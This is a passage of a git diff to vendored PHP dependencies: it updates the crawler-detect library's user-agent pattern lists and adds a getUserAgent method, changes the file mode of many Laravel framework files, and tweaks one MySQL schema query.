X","iPod","compatible","x86_..","i686","x64","X11","rv:[\\d\\.]*","Version.[\\d\\.]*","WOW64","Win64","Dalvik.[\\d\\.]*"," \\.NET CLR [\\d\\.]*","Presto.[\\d\\.]*","Media Center PC","BlackBerry","Build","Opera Mini\\\/\\d{1,2}\\.\\d{1,2}\\.[\\d\\.]*\\\/\\d{1,2}\\.","Opera"," \\.NET[\\d\\.]*","cubot","; M bot","; CRONO","; B bot","; IDbot","; ID bot","; POWER BOT","OCTOPUS-CORE","htc_botdugls","super\\\/\\d+\\\/Android\\\/\\d+","\"Yandex\"","YandexModule2"] \ No newline at end of file diff --git a/vendor/jaybizzle/crawler-detect/raw/Exclusions.txt b/vendor/jaybizzle/crawler-detect/raw/Exclusions.txt index 9803f87a..52026e06 100644 --- a/vendor/jaybizzle/crawler-detect/raw/Exclusions.txt +++ b/vendor/jaybizzle/crawler-detect/raw/Exclusions.txt @@ -45,4 +45,8 @@ cubot ; IDbot ; ID bot ; POWER BOT -OCTOPUS-CORE \ No newline at end of file +OCTOPUS-CORE +htc_botdugls +super\/\d+\/Android\/\d+ +"Yandex" +YandexModule2 \ No newline at end of file diff --git a/vendor/jaybizzle/crawler-detect/raw/Headers.json b/vendor/jaybizzle/crawler-detect/raw/Headers.json index 718f7f61..1a7550bd 100644 --- a/vendor/jaybizzle/crawler-detect/raw/Headers.json +++ b/vendor/jaybizzle/crawler-detect/raw/Headers.json @@ -1 +1 @@ -["HTTP_USER_AGENT","HTTP_X_OPERAMINI_PHONE_UA","HTTP_X_DEVICE_USER_AGENT","HTTP_X_ORIGINAL_USER_AGENT","HTTP_X_SKYFIRE_PHONE","HTTP_X_BOLT_PHONE_UA","HTTP_DEVICE_STOCK_UA","HTTP_X_UCBROWSER_DEVICE_UA","HTTP_FROM","HTTP_X_SCANNER"] \ No newline at end of file +["HTTP_USER_AGENT","HTTP_X_OPERAMINI_PHONE_UA","HTTP_X_DEVICE_USER_AGENT","HTTP_X_ORIGINAL_USER_AGENT","HTTP_X_SKYFIRE_PHONE","HTTP_X_BOLT_PHONE_UA","HTTP_DEVICE_STOCK_UA","HTTP_X_UCBROWSER_DEVICE_UA","HTTP_FROM","HTTP_X_SCANNER","HTTP_SEC_CH_UA"] \ No newline at end of file diff --git a/vendor/jaybizzle/crawler-detect/raw/Headers.txt b/vendor/jaybizzle/crawler-detect/raw/Headers.txt index 5e1ae321..8ed5dc69 100644 --- a/vendor/jaybizzle/crawler-detect/raw/Headers.txt +++ b/vendor/jaybizzle/crawler-detect/raw/Headers.txt @@ -7,4 +7,5 @@ HTTP_X_BOLT_PHONE_UA HTTP_DEVICE_STOCK_UA HTTP_X_UCBROWSER_DEVICE_UA HTTP_FROM -HTTP_X_SCANNER \ No newline at end of file +HTTP_X_SCANNER +HTTP_SEC_CH_UA \ No newline at end of file diff --git a/vendor/jaybizzle/crawler-detect/src/CrawlerDetect.php b/vendor/jaybizzle/crawler-detect/src/CrawlerDetect.php index 89287cba..b9d9eabe 100644 --- a/vendor/jaybizzle/crawler-detect/src/CrawlerDetect.php +++ b/vendor/jaybizzle/crawler-detect/src/CrawlerDetect.php @@ -169,6 +169,8 @@ public function isCrawler($userAgent = null) )); if ($agent === '') { + $this->matches = array(); + return false; } @@ -184,4 +186,13 @@ public function getMatches() { return isset($this->matches[0]) ? $this->matches[0] : null; } + + + /** + * @return string|null + */ + public function getUserAgent() + { + return $this->userAgent; + } } diff --git a/vendor/jaybizzle/crawler-detect/src/Fixtures/Crawlers.php b/vendor/jaybizzle/crawler-detect/src/Fixtures/Crawlers.php index 3352d6c8..fc3f1f22 100644 --- a/vendor/jaybizzle/crawler-detect/src/Fixtures/Crawlers.php +++ b/vendor/jaybizzle/crawler-detect/src/Fixtures/Crawlers.php @@ -23,6 +23,7 @@ class Crawlers extends AbstractProvider '^Aether', '^Amazon Simple Notification Service Agent$', '^Amazon-Route53-Health-Check-Service', + '^Amazon CloudFront', '^b0t$', '^bluefish ', '^Calypso v\/', @@ -160,7 +161,6 @@ class Crawlers extends AbstractProvider 'a\.pr-cy\.ru', 'B-l-i-t-z-B-O-T', 'Backlink-Ceck', - 'backlink-check', 'BacklinkHttpStatus', 'BackStreet', 'BackupLand', @@ -209,7 +209,6 @@ class Crawlers extends AbstractProvider 'Branch Metrics API', 'Branch-Passthrough', 'Brandprotect', - 'BrandVerity', 'Brandwatch', 'Brodie\/', 'Browsershots', @@ -239,6 +238,7 @@ class Crawlers extends AbstractProvider 'changedetection', 'ChangesMeter', 'Charlotte', + 'chatterino-api-cache', 'CheckHost', 'checkprivacy', 'CherryPicker', @@ -294,6 +294,7 @@ class Crawlers extends AbstractProvider 'DareBoost', 'DatabaseDriverMysqli', 'DataCha0s', + 'DatadogSynthetics', 'Datafeedwatch', 'Datanyze', 'DataparkSearch', @@ -374,6 +375,7 @@ class Crawlers extends AbstractProvider 'Extreme Picture Finder', 'EyeNetIE', 'ezooms', + 'facebookcatalog', 'facebookexternalhit', 'facebookexternalua', 'facebookplatform', @@ -420,16 +422,20 @@ class Crawlers extends AbstractProvider 'Flunky', 'flynxapp', 'forensiq', + 'ForusP', 'FoundSeoTool', + 'fragFINN\.de', 'free thumbnails', 'Freeuploader', 'FreshRSS', + 'frontman', 'Funnelback', 'Fuzz Faster U Fool', 'G-i-g-a-b-o-t', 'g00g1e\.net', 'ganarvisitas', 'gdnplus\.com', + 'GeedoProductSearch', 'geek-tools', 'Genieo', 'GentleSource', @@ -454,6 +460,7 @@ class Crawlers extends AbstractProvider 'Go-Ahead-Got-It', 'Go-http-client', 'go-mtasts\/', + 'gobuster', 'gobyus', 'Gofeed', 'gofetch', @@ -470,13 +477,13 @@ class Crawlers extends AbstractProvider 'Google PP Default', 'Google Search Console', 'Google Web Preview', - 'Google-Ads-Creatives-Assistant', - 'Google-Ads-Overview', + 'Google-Ads', 'Google-Adwords', 'Google-Apps-Script', 'Google-Calendar-Importer', 'Google-HotelAdsVerifier', 'Google-HTTP-Java-Client', + 'Google-InspectionTool', 'Google-Podcast', 'Google-Publisher-Plugin', 'Google-Read-Aloud', @@ -490,6 +497,7 @@ class Crawlers extends AbstractProvider 'Google-Youtube-Links', 'GoogleDocs', 'GoogleHC\/', + 'GoogleOther', 'GoogleProber', 'GoogleProducer', 'GoogleSites', @@ -613,6 +621,7 @@ class Crawlers extends AbstractProvider 'intraVnews', 'IODC', 'IOI', + 'Inboxb0t', 'iplabel', 'ips-agent', 'IPS\/[0-9]', @@ -685,6 +694,7 @@ class Crawlers extends AbstractProvider 'Link Valet', 'LinkAlarm\/', 'LinkAnalyser', + 'link-check', 'linkCheck', 'linkdex', 'LinkExaminer', @@ -705,6 +715,7 @@ class Crawlers extends AbstractProvider 'longurl-r-package', 'looid\.com', 'looksystems\.net', + 'lscache_runner', 'ltx71', 'lua-resty-http', 'Lucee \(CFML Engine\)', @@ -750,6 +761,7 @@ class Crawlers extends AbstractProvider 'Microsoft Windows Network Diagnostics', 'Microsoft-WebDAV-MiniRedir', 'Microsoft\.Data\.Mashup', + 'MicrosoftPreview', 'MIDown tool', 'MIIxpc', 'Mindjet', @@ -765,6 +777,7 @@ class Crawlers extends AbstractProvider 'mogimogi', 'Mojeek', 'Mojolicious \(Perl\)', + 'Mollie', 'monitis', 'Monitority\/', 'Monit\/', @@ -792,6 +805,7 @@ class Crawlers extends AbstractProvider 'Nameprotect', 'nationalarchives', 'Navroad', + 'nbertaupete95', 'NearSite', 'Needle', 'Nessus', @@ -946,6 +960,7 @@ class Crawlers extends AbstractProvider 'PrintFriendly', 'PritTorrent', 'Prlog', + 'probely\.com', 'probethenet', 'Project ?25499', 'Project-Resonance', @@ -957,6 +972,7 @@ class Crawlers extends AbstractProvider 'pshtt, https scanning', 'PTST ', 'PTST\/[0-9]+', + 'pulsetic\.com', 'Pump', 'Python-httplib2', 'python-httpx', @@ -1005,6 +1021,7 @@ class Crawlers extends AbstractProvider 'RPT-HTTPClient', 'RSSMix\/', 'RSSOwl', + 'RuxitSynthetic', 'RyowlEngine', 'safe-agent-scanner', 'SalesIntelligent', @@ -1049,6 +1066,7 @@ class Crawlers extends AbstractProvider 'Seobility', 'SEOCentro', 'SeoCheck', + 'seocompany', 'SEOkicks', 'SEOlizer', 'Seomoz', @@ -1118,9 +1136,11 @@ class Crawlers extends AbstractProvider 'SpamExperts', 'Spammen', 'Spanner', + 'Spawning-AI', 'spaziodati', 'SPDYCheck', 'Specificfeeds', + 'SpeedKit', 'speedy', 'SPEng', 'Spinn3r', @@ -1243,9 +1263,11 @@ class Crawlers extends AbstractProvider 'VB Project', 'vBSEO', 'VCI', + 'Verity', 'via ggpht\.com GoogleImageProxy', 'Virusdie', 'visionutils', + 'Visual Rights Group', 'vkShare', 'VoidEYE', 'Voil', @@ -1393,6 +1415,7 @@ class Crawlers extends AbstractProvider 'Zabbix', 'Zade', 'Zao', + 'Zapier', 'Zauba', 'Zemanta Aggregator', 'Zend\\\\Http\\\\Client', diff --git a/vendor/jaybizzle/crawler-detect/src/Fixtures/Exclusions.php b/vendor/jaybizzle/crawler-detect/src/Fixtures/Exclusions.php index 8b357912..bfc3edee 100644 --- a/vendor/jaybizzle/crawler-detect/src/Fixtures/Exclusions.php +++ b/vendor/jaybizzle/crawler-detect/src/Fixtures/Exclusions.php @@ -68,5 +68,9 @@ class Exclusions extends AbstractProvider '; ID bot', '; POWER BOT', 'OCTOPUS-CORE', + 'htc_botdugls', + 'super\/\d+\/Android\/\d+', + '"Yandex"', + 'YandexModule2', ); } diff --git a/vendor/jaybizzle/crawler-detect/src/Fixtures/Headers.php b/vendor/jaybizzle/crawler-detect/src/Fixtures/Headers.php index 35c60c38..5bf13f23 100644 --- a/vendor/jaybizzle/crawler-detect/src/Fixtures/Headers.php +++ b/vendor/jaybizzle/crawler-detect/src/Fixtures/Headers.php @@ -33,5 +33,7 @@ class Headers extends AbstractProvider // Sometimes, bots (especially Google) use a genuine user agent, but fill this header in with their email address 'HTTP_FROM', 'HTTP_X_SCANNER', // Seen in use by Netsparker + // Observed that Facebook will omit identifying itself in User Agent headers but will persist HeadlessChrome in this header for mobile requests + 'HTTP_SEC_CH_UA', ); } diff --git a/vendor/laravel/framework/composer.json b/vendor/laravel/framework/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/readme.md b/vendor/laravel/framework/readme.md old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php b/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Auth/AuthServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Auth/AuthServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Auth/DatabaseUserProvider.php b/vendor/laravel/framework/src/Illuminate/Auth/DatabaseUserProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Auth/EloquentUserProvider.php b/vendor/laravel/framework/src/Illuminate/Auth/EloquentUserProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php b/vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Auth/Guard.php b/vendor/laravel/framework/src/Illuminate/Auth/Guard.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Auth/Passwords/DatabaseTokenRepository.php b/vendor/laravel/framework/src/Illuminate/Auth/Passwords/DatabaseTokenRepository.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php b/vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordResetServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordResetServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Auth/Passwords/TokenRepositoryInterface.php b/vendor/laravel/framework/src/Illuminate/Auth/Passwords/TokenRepositoryInterface.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Auth/composer.json b/vendor/laravel/framework/src/Illuminate/Auth/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/ApcStore.php b/vendor/laravel/framework/src/Illuminate/Cache/ApcStore.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/ApcWrapper.php b/vendor/laravel/framework/src/Illuminate/Cache/ApcWrapper.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/ArrayStore.php b/vendor/laravel/framework/src/Illuminate/Cache/ArrayStore.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/CacheManager.php b/vendor/laravel/framework/src/Illuminate/Cache/CacheManager.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/CacheServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Cache/CacheServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/Console/ClearCommand.php b/vendor/laravel/framework/src/Illuminate/Cache/Console/ClearCommand.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/DatabaseStore.php b/vendor/laravel/framework/src/Illuminate/Cache/DatabaseStore.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/FileStore.php b/vendor/laravel/framework/src/Illuminate/Cache/FileStore.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/MemcachedConnector.php b/vendor/laravel/framework/src/Illuminate/Cache/MemcachedConnector.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/MemcachedStore.php b/vendor/laravel/framework/src/Illuminate/Cache/MemcachedStore.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/NullStore.php b/vendor/laravel/framework/src/Illuminate/Cache/NullStore.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/RedisStore.php b/vendor/laravel/framework/src/Illuminate/Cache/RedisStore.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/Repository.php b/vendor/laravel/framework/src/Illuminate/Cache/Repository.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/WinCacheStore.php b/vendor/laravel/framework/src/Illuminate/Cache/WinCacheStore.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/XCacheStore.php b/vendor/laravel/framework/src/Illuminate/Cache/XCacheStore.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cache/composer.json b/vendor/laravel/framework/src/Illuminate/Cache/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Config/composer.json b/vendor/laravel/framework/src/Illuminate/Config/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Console/Application.php b/vendor/laravel/framework/src/Illuminate/Console/Application.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Console/Command.php b/vendor/laravel/framework/src/Illuminate/Console/Command.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Console/composer.json b/vendor/laravel/framework/src/Illuminate/Console/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Container/Container.php b/vendor/laravel/framework/src/Illuminate/Container/Container.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Container/composer.json b/vendor/laravel/framework/src/Illuminate/Container/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Contracts/Support/Arrayable.php b/vendor/laravel/framework/src/Illuminate/Contracts/Support/Arrayable.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Contracts/Support/Jsonable.php b/vendor/laravel/framework/src/Illuminate/Contracts/Support/Jsonable.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Contracts/Support/MessageProvider.php b/vendor/laravel/framework/src/Illuminate/Contracts/Support/MessageProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Contracts/Support/Renderable.php b/vendor/laravel/framework/src/Illuminate/Contracts/Support/Renderable.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cookie/CookieJar.php b/vendor/laravel/framework/src/Illuminate/Cookie/CookieJar.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cookie/CookieServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Cookie/CookieServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Cookie/composer.json b/vendor/laravel/framework/src/Illuminate/Cookie/composer.json old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Capsule/Manager.php b/vendor/laravel/framework/src/Illuminate/Database/Capsule/Manager.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Connection.php b/vendor/laravel/framework/src/Illuminate/Database/Connection.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/ConnectionInterface.php b/vendor/laravel/framework/src/Illuminate/Database/ConnectionInterface.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/ConnectionResolver.php b/vendor/laravel/framework/src/Illuminate/Database/ConnectionResolver.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/ConnectionResolverInterface.php b/vendor/laravel/framework/src/Illuminate/Database/ConnectionResolverInterface.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Connectors/ConnectionFactory.php b/vendor/laravel/framework/src/Illuminate/Database/Connectors/ConnectionFactory.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php b/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Connectors/ConnectorInterface.php b/vendor/laravel/framework/src/Illuminate/Database/Connectors/ConnectorInterface.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Connectors/MySqlConnector.php b/vendor/laravel/framework/src/Illuminate/Database/Connectors/MySqlConnector.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Connectors/PostgresConnector.php b/vendor/laravel/framework/src/Illuminate/Database/Connectors/PostgresConnector.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Connectors/SQLiteConnector.php b/vendor/laravel/framework/src/Illuminate/Database/Connectors/SQLiteConnector.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Connectors/SqlServerConnector.php b/vendor/laravel/framework/src/Illuminate/Database/Connectors/SqlServerConnector.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/BaseCommand.php b/vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/BaseCommand.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/InstallCommand.php b/vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/InstallCommand.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/MigrateCommand.php b/vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/MigrateCommand.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/RefreshCommand.php b/vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/RefreshCommand.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/ResetCommand.php b/vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/ResetCommand.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/RollbackCommand.php b/vendor/laravel/framework/src/Illuminate/Database/Console/Migrations/RollbackCommand.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php b/vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/DatabaseServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Database/DatabaseServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Collection.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Collection.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/MassAssignmentException.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/MassAssignmentException.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/ModelNotFoundException.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/ModelNotFoundException.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/BelongsTo.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/BelongsTo.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/BelongsToMany.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/BelongsToMany.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/HasMany.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/HasMany.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/HasOne.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/HasOne.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/HasOneOrMany.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/HasOneOrMany.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/MorphMany.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/MorphMany.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/MorphOne.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/MorphOne.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/MorphOneOrMany.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/MorphOneOrMany.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/Pivot.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/Pivot.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/Relation.php b/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/Relation.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Grammar.php b/vendor/laravel/framework/src/Illuminate/Database/Grammar.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/MigrationServiceProvider.php b/vendor/laravel/framework/src/Illuminate/Database/MigrationServiceProvider.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Migrations/DatabaseMigrationRepository.php b/vendor/laravel/framework/src/Illuminate/Database/Migrations/DatabaseMigrationRepository.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Migrations/Migration.php b/vendor/laravel/framework/src/Illuminate/Database/Migrations/Migration.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Migrations/MigrationCreator.php b/vendor/laravel/framework/src/Illuminate/Database/Migrations/MigrationCreator.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Migrations/MigrationRepositoryInterface.php b/vendor/laravel/framework/src/Illuminate/Database/Migrations/MigrationRepositoryInterface.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Migrations/Migrator.php b/vendor/laravel/framework/src/Illuminate/Database/Migrations/Migrator.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Migrations/stubs/blank.stub b/vendor/laravel/framework/src/Illuminate/Database/Migrations/stubs/blank.stub old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Migrations/stubs/create.stub b/vendor/laravel/framework/src/Illuminate/Database/Migrations/stubs/create.stub old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Migrations/stubs/update.stub b/vendor/laravel/framework/src/Illuminate/Database/Migrations/stubs/update.stub old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/MySqlConnection.php b/vendor/laravel/framework/src/Illuminate/Database/MySqlConnection.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/PostgresConnection.php b/vendor/laravel/framework/src/Illuminate/Database/PostgresConnection.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php b/vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Query/Expression.php b/vendor/laravel/framework/src/Illuminate/Database/Query/Expression.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/Grammar.php b/vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/Grammar.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/MySqlGrammar.php b/vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/MySqlGrammar.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/PostgresGrammar.php b/vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/PostgresGrammar.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/SQLiteGrammar.php b/vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/SQLiteGrammar.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/SqlServerGrammar.php b/vendor/laravel/framework/src/Illuminate/Database/Query/Grammars/SqlServerGrammar.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Query/JoinClause.php b/vendor/laravel/framework/src/Illuminate/Database/Query/JoinClause.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Query/Processors/PostgresProcessor.php b/vendor/laravel/framework/src/Illuminate/Database/Query/Processors/PostgresProcessor.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Query/Processors/Processor.php b/vendor/laravel/framework/src/Illuminate/Database/Query/Processors/Processor.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Query/Processors/SqlServerProcessor.php b/vendor/laravel/framework/src/Illuminate/Database/Query/Processors/SqlServerProcessor.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/README.md b/vendor/laravel/framework/src/Illuminate/Database/README.md old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/SQLiteConnection.php b/vendor/laravel/framework/src/Illuminate/Database/SQLiteConnection.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Schema/Blueprint.php b/vendor/laravel/framework/src/Illuminate/Database/Schema/Blueprint.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Schema/Builder.php b/vendor/laravel/framework/src/Illuminate/Database/Schema/Builder.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/Grammar.php b/vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/Grammar.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/MySqlGrammar.php b/vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/MySqlGrammar.php old mode 100644 new mode 100755 index b9a66cb6..3687882c --- a/vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/MySqlGrammar.php +++ b/vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/MySqlGrammar.php @@ -39,7 +39,7 @@ public function compileTableExists() */ public function compileColumnExists() { - return 'select column_name as `column_name` from information_schema.columns where table_schema = ? and table_name = ?'; + return 'select column_name from information_schema.columns where table_schema = ? and table_name = ?'; } /** diff --git a/vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/PostgresGrammar.php b/vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/PostgresGrammar.php old mode 100644 new mode 100755 diff --git a/vendor/laravel/framework/src/Illuminate/Database/Schema/Grammars/SQLiteGrammar.php 